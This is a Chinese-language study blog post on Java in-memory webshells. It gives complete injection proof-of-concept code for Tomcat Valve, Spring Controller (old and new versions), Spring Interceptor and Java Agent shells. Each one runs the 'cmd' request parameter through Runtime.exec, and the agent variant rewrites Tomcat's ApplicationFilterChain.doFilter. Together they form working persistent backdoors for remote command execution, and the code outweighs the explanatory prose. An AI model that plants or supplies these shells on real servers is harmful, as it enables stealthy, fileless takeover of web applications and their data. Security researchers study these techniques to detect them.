下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service
方法中
前面是对Request和Respone对象进行一些判断及创建操作,我们重点来看一下connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
首先通过connector.getService()
来获取一个StandardService对象
接着通过StandardService
.getContainer().getPipeline()
获取StandardPipeline
对象。
再通过StandardPipeline.getFirst()
获取第一个Valve
1 2 3 4 5 6 7 8 @Override public Valve getFirst () { if (first != null ) { return first; } return basic; }
最后通过调用StandardEngineValve.invoke()
来实现Valve的各种业务逻辑
(这里调用Engine
是因为Engine
排第一位)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public final void invoke (Request request, Response response) throws IOException, ServletException { Host host = request.getHost(); if (host == null ) { if (!response.isError()) { response.sendError(404 ); } return ; } if (request.isAsyncSupported()) { request.setAsyncSupported(host.getPipeline().isAsyncSupported()); } host.getPipeline().getFirst().invoke(request, response); }
host.getPipeline().getFirst().invoke(request, response)
实现调用后续的Valve。
(就是调用host
自身的Valve
)
动态添加Valve 根据上文的分析我们能够总结出Valve型内存马的注入思路
获取StandardContext
对象
通过StandardContext
对象获取StandardPipeline
就是这里来获取到这个StandardPipeline
d的 所以我手动添加
编写恶意Valve
通过StandardPipeline.addValve()
动态添加Valve
这里添加是为了getFirst
()的时候能够调用到 并且执行这个传进来的Valve
里的invoke
方法
获取StandardContext和StandardPipeline对象 1 2 3 4 5 6 7 8 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %>
编写恶意Valve类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>
将恶意Valve添加进StandardPipeline 1 2 3 4 <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Pipeline" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %> <%! class Shell_Valve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); if (cmd !=null ){ try { Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %> <% Shell_Valve shell_valve = new Shell_Valve (); pipeline.addValve(shell_valve); %>
访问Valve.jsp
将内存马写入
然后直接命令执行就行了
Spring内存马 介绍Spring 这篇文章有介绍Spring
的 建议直接去就行 这里就不写了
关于Spring内存马 一共有两种类型 就是Controller
和Interceptor
这两种类型
这里的就不多写了 因为看不太懂 太绕了
直接写实现思路了
Controller型内存马 实现思路 和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下
获取上下文环境
注册恶意Controller
配置路径映射
(前面省略了很多步骤没写 可以去看 这篇文章 来加深理解 我没写是因为我单纯看不懂…………………..)
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.shell.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.lang.reflect.Method; @Controller public class shell_controller { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = Controller_Shell.class.getDeclaredMethod("shell" ); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new Controller_Shell (), method); } public class Controller_Shell { public Controller_Shell () {} public void shell () throws IOException { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); Runtime.getRuntime().exec(request.getParameter("cmd" )); } } }
这里就是刚访问/control
路由的时候会显示未找到 返回404
这样就会将内存马写入进去
然后访问/shell
执行命令就会成功
结束了
高版本spring内存马(上面是低版本) 前言 在这篇文章上面用的是spring 5.3.19
版本 对应springboot2.6
及以下版本,但是现在SpringBoot
已经在3.x
版本了,在这种条件下我们该如何去打进内存马呢?
分析
PathPattern改为了AntPathMatcher
其实这里本质上的不同就是在获取这个路由的方法不同
高版本的spring与低版本的差别就是在这了 获取RequestMappingInfo
的方法不同(就是获取路由的方法不同 )
总的来说就是步骤和这个低版本的spring内存马是一样的 差别只是在这个获取RequestMappingInfo
方法
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.example.springshell.controller;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import org.springframework.context.ApplicationContext;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.Scanner;@Controller public class EvilShell { @RequestMapping("/control") public void Spring_Controller () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { System.out.println("i am in" ); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" ); configField.setAccessible(true ); RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = Controller_Shell.class.getMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = RequestMappingInfo.paths("/shell" ) .options(config) .build(); Controller_Shell springControllerMemShell = new Controller_Shell (); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } public class Controller_Shell { public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } } }
Interceptor型内存马 什么是Interceptor Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。
通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义
Interceptor示例 这里我们选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下
preHandle:该方法在控制器 的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
这里对构造内存马来说最重要的是这个preHandle
方法
就是如上面所说的 就是在控制器处理请求之前执行
(这里的话就是涉及到这个开发的MVC知识 了解过的话看这里会容易一点)
写个demo来判断一下是否是这个样子
Controller
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.shell.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller public class Spring_Controller { @ResponseBody @RequestMapping("/login") public String Login () { return "Success!" ; } }
interceptor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.shell.interceptor;import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;public class Spring_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter(); if ( url.indexOf("/login" ) >= 0 ){ writer.write("LoginIn" ); writer.flush(); writer.close(); return true ; } writer.write("LoginInFirst" ); writer.flush(); writer.close(); return false ; } }
在springmvc.xml配置文件中配置相应的Interceptor
1 2 3 4 5 6 7 8 ... <mvc:interceptors > <mvc:interceptor > <mvc:mapping path ="/*" /> <bean class ="com.shell.interceptor.Spring_Interceptor" /> </mvc:interceptor > </mvc:interceptors > ...
接下来分析这么调用到这个preHandle
的
request调用流程 在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的
这里其实会循环在internalDoFilter
和doFilter
之间来回调用 可能我选的是第一个internalDoFilter 导致现在只看到一个
但与Tomcat不同的是,当调用到HttpServlet#service
时,最终会调用DispatcherServlet#doDispatch
进行逻辑处理,这正是Spring的逻辑处理核心类。
1 2 3 4 5 6 7 8 9 doDispatch:1028, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:655, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:764, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
跟进到getHandler
方法
在 getHandler
方法中,会通过遍历 this.handlerMappings
来获取 HandlerMapping
对象实例 mapping
( )
这个mapping
正好是org.springframework.web.servlet.handler.AbstractHandlerMapping
类,如何调用到getHandler方法
并通过 getHandlerExecutionChain(handler, request)
方法返回 HandlerExecutionChain
类的实例
跟进AbstractHandlerMapping
#getHandlerExecutionChain
可以看到其通过adaptedInterceptors
获取所有Interceptor后进行遍历,其中可以看见一个我们自己定义的Interceptor
然后通过chain.addInterceptor()
将所有Interceptor添加到HandlerExecutionChain
中。最后返回到DispatcherServlet#doDispatch()
中 ,调用mappedHandler.applyPreHandle
方法
然后遍历调用Interceptor中的preHandle()
拦截方法。
因此当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层
1 HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller
前面大量的分析主要都是分析在DispactherServlet
在如何获取Interceptor
的过程中
Interceptor型内存马实现过程 通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。由于Interceptor和Filter有一定的相似之处,因此我们可以仿照Filter型内存马的实现思路
获取当前运行环境的上下文
实现恶意Interceptor
注入恶意Interceptor
获取环境上下文 在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext
的方法。下面我们还可以通过反射获取LiveBeansView
类的applicationContexts
属性来获取上下文。
1 2 3 4 5 6 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
org.springframework.context.support.LiveBeansView
类在 spring-context
3.2.x 版本(现在最新版本是 5.3.x )才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext
的实例。
获取adaptedInterceptors属性值 获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name 叫什么。
在这类里面给adaptedInterceptors
赋值
我们可以通过ApplicationContext
上下文来获取AbstractHandlerMapping
,进而反射获取adaptedInterceptors
属性值
1 2 3 4 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping" ); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
实现恶意Interceptor 这里选择继承HandlerInterceptor接口,并重写其preHandle方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.shell.interceptor; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } }
动态注册Interceptor 我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors
属性值中就可以了。
(这里能使用这个add()
的原因是这个adaptedInterceptors
是这个List类型 所以可以使用add())
1 2 3 Shell_Interceptor shell_interceptor = new Shell_Interceptor ();adaptedInterceptors.add(shell_interceptor);
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.shell.controller; import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils; import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException; @Controller public class Inject_Shell_Interceptor_Controller { @ResponseBody @RequestMapping("/inject") public void Inject () throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field.setAccessible(true ); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); Shell_Interceptor shell_interceptor = new Shell_Interceptor (); adaptedInterceptors.add(shell_interceptor); } public class Shell_Interceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd" ); if (cmd != null ) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true ; } return false ; } } }
成功弹出计算器
Java Agent内存马 Jvav_Agent是什么 我们知道Java是一种静态强类型语言,在运行之前必须将其编译成.class
字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。
实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?
对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent
,另一种是JVM启动之后加载的agentmain-Agent
。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图
Java_Agent示例 premain-Agent 我们首先来实现一个简单的premain-Agent
,创建一个Maven项目,编写一个简单的premain-Agent
1 2 3 4 5 6 7 8 9 10 11 package com.java.premain.agent; import java.lang.instrument.Instrumentation; public class Java_Agent_premain { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i<10 ; i++){ System.out.println("调用了premain-Agent!" ); } } }
接着在resource/META-INF/
下创建MANIFEST.MF
清单文件用以指定premain-Agent
的启动类
1 2 Manifest-Version: 1.0 Premain-Class: com.java.premain.agent.Java_Agent_premain
将其打包成jar文件
创建一个目标类
1 2 3 4 5 public class Hello { public static void main (String[] args) { System.out.println("Hello World!" ); } }
添加JVM Options(注意冒号之后不能有空格)
1 -javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"
运行结果如下
agentmain-Agent 相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。
(重新建一个项目来执行这个)
VirtualMachine类 com.sun.tools.attach.VirtualMachine
类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法
(这个就是java在运行之前会编译成class文件 然后并且交给JVM运行 并且这个是一个独立的进程 ) 一个独立的进程对应一个独立的JVM
1 2 3 4 5 6 7 8 9 10 11 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor类 com.sun.tools.attach.VirtualMachineDescriptor
类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("get_PID" )) System.out.println(vmd.id()); } } } ## 4908 Process finished with exit code 0
下面我们就来实现一个agentmain-Agent
。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM
1 2 3 4 5 6 7 8 9 10 import static java.lang.Thread.sleep; public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写我们的agentmain-Agent类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package com.java.agentmain.agent; import java.lang.instrument.Instrumentation; import static java.lang.Thread.sleep; public class Java_Agent_agentmain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用了agentmain-Agent!" ); sleep(3000 ); } } }
同时修改配置MANIFEST.MF文件
编译打包成jar文件out/artifacts/Java_Agent_jar/Java_Agent.jar
最后编写一个Inject_Agent
类,获取特定JVM的PID并注入Agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.java.inject;import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("com.java.agentmain.agent.Sleep_Hello" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); System.out.println("" ); virtualMachine.loadAgent("out/artifacts/Java_Agent_agentmain_jar/Java_Agent_agentmain.jar" ); virtualMachine.detach(); } } } }
先运行 Sleep_Hello
再运行Inject_Agent
这里的名字必须改成这个 否则会找不到
Instrumentation Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
其在Java中是一个接口,常用方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer, boolean canRetransform) ; void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize (Object objectToSize) ; }
获取目标JVM已加载类 这里懒得跟了 解释一下就是使用javassist 配合transform来修改正在运行JVM的字节码。 然后配合inject_agent
将修改的恶意字节码进行注入
这里就是说的是修改前的和修改后的类
(这篇文章就是在同一个类上进行修改 就满足了上面的所有条件 只是方法体不同而已 就是函数内容不一样)
想要了解更详细的话 可以去看上面的参考文章 讲的很清楚了 这里是我懒 所以就不继续跟了。。。。。。。。。。。
Agent内存马 现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。
这里我们以Spring Boot为例,来实现一个Agent内存马
Spring Boot中的Tomcat 简单的搭建springboot进行测试
这里要注意的是启动器得和controller在一个package下 (默认的情况下)
接下来是搭建这个SpringMVC
(因为一个小bug 搭建了3个小时 tmd)
成功进行搭建
开始进行分析了
我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Context:20 , Context_Learn (com.example.spring_controller) ... (org.springframework.web.servlet.mvc.method.annotation) handleInternal:808 , RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation) handle:87 , AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method) doDispatch:1067 , DispatcherServlet (org.springframework.web.servlet) doService:963 , DispatcherServlet (org.springframework.web.servlet) processRequest:1006 , FrameworkServlet (org.springframework.web.servlet) doGet:898 , FrameworkServlet (org.springframework.web.servlet) service:655 , HttpServlet (javax.servlet.http) service:883 , FrameworkServlet (org.springframework.web.servlet) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilter:53 , WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100 , RequestContextFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93 , FormContentFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201 , CharacterEncodingFilter (org.springframework.web.filter) doFilter:117 , OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ...
可以看到会按照责任链机制反复调用ApplicationFilterChain#doFilter()
方法
跟到internalDoFilter()方法中
以上两个方法均拥有ServletRequest和ServletResponse,并且hook不会影响正常的业务逻辑,因此很适合作为内存马的回显。下面我们尝试利用
利用Java Agent实现Spring Filter内存马 我们复用上面的agentmain-Agent,修改字节码的关键在于transformer()
方法,因此我们重写该方法即可
(不用premain的原因是因为一般注入内存马的话 程序已经在运行了 就不能在程序运行前进行注入了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.java.agentmain.instrumentation.transformer; import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod; import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain; public class Filter_Transform implements ClassFileTransformer { @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null ) { ClassClassPath ccp = new ClassClassPath (classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain" ); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); String body = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }" + "}" ; ctMethod.setBody(body); byte [] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null ; } }
这是构造恶意的字节码
Inject_Agent_Spring类如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent_Spring { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
这个代码就是将恶意的字节码进行注入
内存马到这就结束了 学习了挺久的这么多内容 (虽然说是学完了 但是会不会还是另说。。。。。。。。。)
内存马回显技术在新开一篇文章来写